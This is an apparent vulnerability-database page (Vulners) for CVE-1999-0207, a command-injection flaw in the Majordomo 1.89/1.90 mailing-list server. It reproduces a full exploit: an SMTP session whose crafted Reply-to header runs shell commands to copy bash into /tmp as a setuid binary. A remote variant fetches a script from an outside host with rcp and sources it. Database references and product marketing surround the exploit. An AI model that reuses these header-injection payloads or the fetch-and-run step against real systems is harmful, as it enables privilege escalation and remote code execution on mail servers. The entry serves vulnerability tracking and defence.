Majordomo 1.89/1.90 - 'lists' Command Execution
| Reporter | Title | Published | Views | Family All 6 |
|---|---|---|---|---|
 | CVE-1999-0207 | 29 Sep 199904:00 | – | cve |
 | CVE-1999-0207 | 29 Sep 199904:00 | – | cvelist |
 | EUVD-1999-0207 | 7 Oct 202500:30 | – | euvd |
 | CVE-1999-0207 | 9 Jun 199404:00 | – | nvd |
 | PT-1994-1003 · Great Circle Associates · Majordomo | 9 Jun 199400:00 | – | ptsecurity |
 | CVE-1999-0207 | 7 Jan 202609:42 | – | redhatcve |
source: https://www.securityfocus.com/bid/2310/info
Majordomo is a perl-based Internet e-mail list server. Versions prior to 1.91 are vulnerable to an attack whereby specially crafted e-mail headers are incorrectly processed, yielding the ability to execute arbitrary commands with the privileges of Majordomo. This is possible only when "advertise" or "noadvertise" directives are specified in the configuration files.
Local exploit:
--exploit--
telnet localhost 25
helo localhost
mail from: user
rcpt to: majordomo (or whatever the name of the majordomo user is)
data
From: user
To: majordomo
Reply-to: a~.`/bin/cp\${IFS}/bin/bash\${IFS}/tmp/lord&&/bin/chmod\${IFS}4777\${IFS}/tmp/lord`.q~a/ad=cucu/c=blu\\\@kappa.ro
LISTS
.
quit
--end of exploit --
For the remote users, change the Reply-to field to something like:
Reply-to: a~.`/usr/bin/rcp\${IFS}[email protected]:script\${IFS}/tmp/script&&source\${IFS}/tmp/script`.q~a/ad=cucu/c=blu\\\@kappa.roData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
17 Aug 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.08717